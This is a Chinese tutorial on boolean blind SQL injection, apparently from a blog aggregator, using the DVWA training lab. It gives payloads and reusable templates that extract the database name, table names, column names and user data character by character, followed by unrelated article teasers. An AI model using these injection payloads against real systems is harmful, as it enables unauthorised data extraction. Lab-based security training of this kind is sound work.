sql注入-布尔盲注

布尔盲注(Boolean Blind SQL Injection)是一种SQL注入攻击技术,用于在无法直接获得查询结果的情况下推断数据库信息;它通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息。接着我们以DVWA靶场中的SQL Injection(Bind)为例子进行解释;

可以看到该靶场只能显示数据库中是否存在该ID,并不会显示其他数据,那么此时我们就无法直接获得查询结果的情况下推断数据库信息,因此联合查询已经无法满足要求,那么我们就可以使用布尔盲注或其他的注入思想突破。

步骤:
①确定注入点以及注入类型

判断注入点和注入类型直接使用通过的判断语句进行即可;

若下列语句符合回显预期则为整型注入:

1 and 1=1 //正常回显
1 and 1=2 //无回显

此时的回显结果:

由该回显可得此注入点非整型注入

接着可以使用常规的判断字符型注入的语句来进行测试,若符合预期则可判定为字符型注入

1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显

此时回显结果为:

可以看到以单引号作为闭合符号的语句符合回显预期,此时注入类型就是字符型注入

②推测数据库信息

该步骤分为2个小步骤:1)推测数据库名长度

                                       2)得到数据库名

推测数据库名长度

此时需要两个Mysql的函数帮助我们进行推测:①database()函数返回当前数据库的名称

                                                                          ②length()用于获取字符串长度

这两个函数正常使用,能够获取当前数据库名长度:

select length(database());

并且此时可以以此来判断当前数据库名的长度,可以看到当我们得到正确的数据库名长度时,将会得到true的结果。

那么此时的测试的语句为:

1' and length(database()) =1  #
1' and length(database()) =2  #
1' and length(database()) =3  #
1' and length(database()) =4  #

...

判断得到数据库名的长度为4。

得到数据库名

这个时候要得到数据库名则需要使用两个函数:

ascii()返回字符的ASCII码

substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符

两个函数的正常使用:可以得到数据库名的所有字符的ascii码

100:d 118:v 119:w 97:a ===> dvwa

以此可以构建语句

1' and ascii(substr(database(),1,1)) > 90 #   //判断数据库名第一个字符的ascii码是否大于90(接下去就是重复工作了,一个一个猜)

此时完整的查询语句

select id,email from member where username='1' and ascii(substr(database()),1,1) > 90 #'

猜对回显正常:

猜错回显异常:

1' and substr(database(),1,1) > 110  #

最后得到数据库名为dvwa

③推测数据库中的表信息

该步骤需要用到information_schema数据库且包含3小步:猜表的数量–>猜表的名称的长度–>猜表的名称

猜表的数量

此处需要使用到count函数;COUNT()函数是SQL中的一个聚合函数,用于计算指定列中的非空值的数量,它可以应用于不同的场景,如统计某个表中的行数、统计满足特定条件的行数等。

猜表数量的正常的使用:

这个时候可以构造语句得到表的数量:

1' and (select count(table_name) from information_schema.tables where table_schema="dvwa") = 2 #

还是猜,猜对了回显正常,猜错了回显异常:

猜表的名称的长度

这个时候通过得到的表的数量就可以去猜每个表的名称,此时需要使用到的子句和函数

LIMIT子句用于限制查询结果的数量(limit 0,1第一行/limit 1,1第二行....)

substr(str,pos)返回从pos开始的所有字符

length()获取表名长度

正常使用:

获取当前数据库第一个表的表名

获取当前数据库第一个表的表名的长度

此时可以构建语句进行测试:

1' and length(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1)) = 9 #

还是需要猜,长度猜对了回显正常,猜错了回显异常(可以配合大于号小于号进行猜测):

猜表的名称

此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。

1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1,1)) = 103 #

一个字符一个字符去猜(此处需要用到上述得到的表的个数和表名长度)

1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 个数变量,1),长度变量,1)) = 103 #

最后可以得到的全部表:

④推测数据列信息

此步也分为几个小步骤:猜列的数量–>猜列的长度–>列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。

猜列的数量(需要用到上述得到的表名)
1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='表名')=数字 #
猜列名的长度(需要用到表名、获取的列的数量)
1' and length(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ),1))=长度数字#
列的名称(需要用到表名、获取的列的数量、列名的长度)
1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ) ,1~列名的长度,1) )=ASCII码# 

最后可以得到表的全部列(此处以users表为例子)

⑤推测数据

该步骤分为两小步:1)猜测当前数据的长度

                                2)猜测数据内容

1)猜测当前数据的长度

具体思路与上述一样,直接上模板

1' and length(substr((select 列名 from 表名 limit 0-列的数量,1 ),1))=ASCII码#

如此时我要判断users表中的user列第一行的数据长度,猜测该段是否为5

1' and length(substr((select user from users limit 0,1 ),1))=5#

猜对回显正常,猜错回显异常;

2)猜测数据内容

判断数据第一个字符的ascii码值

1' and ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=ASCII码 #

接下去就是重复工作了,手工布尔盲注比较麻烦,建议还是根据该文章的思路写个脚本结合二分法进行自动化突破,或者使用SqlmapBurpsuite工具进行数据拖取。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/670438.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

微服务学习Day9

文章目录 分布式事务seata引入理论基础CAP定理BASE理论 初识Seata动手实践XA模式AT模式TCC模式SAGA模式 高可用 分布式事务seata 引入 理论基础 CAP定理 BASE理论 初识Seata 动手实践 XA模式 AT模式 TCC模式 Service Slf4j public class AccountTCCServiceImpl implements A…

C语言 | Leetcode C语言题解之第126题单词接龙II

题目: 题解: char** list; int** back; int* backSize;// DFS uses backtrack information to construct results void dfs(char*** res, int* rSize, int** rCSizes, int* ans, int last, int retlevel) {int i ans[last];if (i 0) {res[*rSize] (c…

DALL·E 2详解:人工智能如何将您的想象力变为现实!

引言 DALLE 2是一个基于人工智能的图像生成模型,它通过理解自然语言描述来生成匹配这些描述的图像。这一模型的核心在于其创新的两阶段工作流程,首先是将文本描述转换为图像表示,然后是基于这个表示生成具体的图像。 下面详细介绍DALL-E2的功…

Vivado Design Suite一级物件

Vivado Design Suite一级物件 按设计过程导航内容 Xilinx文档围绕一组标准设计流程进行组织,以帮助您 查找当前开发任务的相关内容。本文件涵盖 以下设计过程: •硬件、IP和平台开发:为硬件创建PL IP块 平台,创建PL内核&#xff0…

HTML的标签(标题、段落、文本、图片、列表)

HTML的标签1 标题标签:段落标签:文本标签:图片标签:列表标签:有序列表:无序列表:定义列表:列表案例: 标题标签: 标签:h1~h6 注意:如果使用无效标…

C语言怎样写数据⽂件,使之可以在不同字⼤⼩、 字节顺序或浮点格式的机器上读⼊?

一、问题 怎样写数据⽂件,使之可以在不同字⼤⼩、字节顺序或浮点格式的机器上读⼊,也就是说怎样写⼀个可移植性好的数据⽂件? 二、解答 最好的移植⽅法是使⽤⽂本⽂件,它的每⼀字节放⼀个 ASCII 代码,代表⼀个字符。 …

从JS角度直观理解递归的本质

让我们写一个函数 pow(x, n),它可以计算 x 的 n 次方。换句话说就是,x 乘以自身 n 次。 有两种实现方式。 迭代思路:使用 for 循环: function pow(x, n) {let result 1;// 在循环中,用 x 乘以 result n 次for (let i…

短时间内如何顺利通过 Java 面试?

今天我们来探讨一个重要的话题:短时间内如何顺利通过 Java 面试? 在此之前,我正在精心编写一套完全面向小白的 Java 自学教程,我相信这套教程会非常适合正在努力提升的你。教程里面涵盖了丰富全面的编程教学内容、详细生动的视频…

2.8Flowmap的实现

一、Flowmap 是什么 半条命2中水的流动 求生之路2中的水的流动 这种方式原理简单,容易实现,运算量少,如今也还在使用 1.flowmap的实质 Flow map(流向图) ,一张记录了2D向量信息的纹理,Flow map上的颜色(通常为RG通道…

Python知识点14---被规定的资源

提前说一点:如果你是专注于Python开发,那么本系列知识点只是带你入个门再详细的开发点就要去看其他资料了,而如果你和作者一样只是操作其他技术的Python API那就足够了。 在Python中被规定的东西不止有常识中的那些关键字、构造器等编程语言…

Vue3-Ref Reactive toRef toRefs对比学习、标签ref与组件ref

响应式数据: Ref 作用:定义响应式变量。 语法:let xxx ref(初始值)(里面可以是任何规定内类型、数组等)。 返回值:一个RefImpl的实例对象,简称ref对象或ref,ref对象的value属性是响应式的。 注意点&am…

公网如何访问内网?

公网和内网已经成为我们生活中不可或缺的存在。由于内网的安全性考虑,公网无法直接访问内网资源。如何实现公网访问内网呢?本文将介绍一种名为【天联】的私有通道技术,通过安全加密,保障数据传输的安全性。 【天联】私有通道技术 …

利用Python处理DAX多条件替换

小A:白茶,救命啊~~~ 白茶:什么情况? 小A:是这样的,最近不是临近项目上线嘛,有一大波度量值需要进行类似的调整,一个两个倒没啥,600多个,兄弟,救命…

STM32_FSMC_HAL(介绍)

FSMC(Flexible Static Memory Controller)是STM32微控制器中的一种内存控制器,它允许微控制器与外部存储器接口,如SRAM、NOR Flash、NAND Flash和PSRAM等。FSMC特别适用于需要高速数据交换和大量数据存储的应用场景。 典型应用&a…

06.持久化存储

6.持久化存储 pv: persistent volume 全局的资源 pv,node pvc: persistent volume claim 局部的资源(namespace)pod,rc,svc 6.1:安装nfs服务端(192.168.111.11) yum install nfs-utils.x86_64 -y mkdir /data vim /…

Linux——多线程(二)

在上一篇博客中我们已经介绍到了线程控制以及对应的函数调用接口&#xff0c;接下来要讲的是真正的多线程&#xff0c;线程安全、线程互斥、同步以及锁。 一、多线程 简单写个多线程的创建、等待的代码 #include<iostream> #include<pthread.h> #include<un…

【案例实操】银河麒麟桌面操作系统实例分享,V10SP1重启后网卡错乱解决方法

1.问题现象 8 个网口&#xff0c; 命名从 eth1 开始到 eth8。 目前在系统 grub 里面加了 net.ifnames0 biosdevname0 参数&#xff0c; 然后在 udev 规则中加了一条固定网卡和硬件 pci 设备号的规则文件。 最后在 rc.local 中加了两条重新安装网卡驱动的命令&#xff08; rmmod…

yolov10模块

yolov10模块 1 C2f2 C2fCIB2.1 CIB2.2 RepVGGDW 3 PSA4 SCDown5 v10Detect 论文代码&#xff1a;https://github.com/THU-MIG/yolov10 论文链接&#xff1a;https://arxiv.org/abs/2405.14458 Conv是Conv2dBNSiLU PW是Pointwise Convolution(逐点卷积) DW是Depthwise Convolut…

45页超干PPT:AGV技术详解

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》 完整版文件和更多学习资料&#xff0c;请球友到知识星球【智能仓储物流技术研习社】自行下载 AGV&#xff08;Automated Guided Vehicle&#xf…

JVM的垃圾回收机制

目录 GC的工作范围 谁是垃圾 怎么判断&#xff0c;某个对象是否有引用指向捏&#xff1f; &#xff08;1&#xff09;引用计数 缺陷 释放垃圾的策略 &#xff08;1&#xff09;标记清除&#xff08;不实用&#xff09; &#xff08;2&#xff09;复制算法 &#xff08…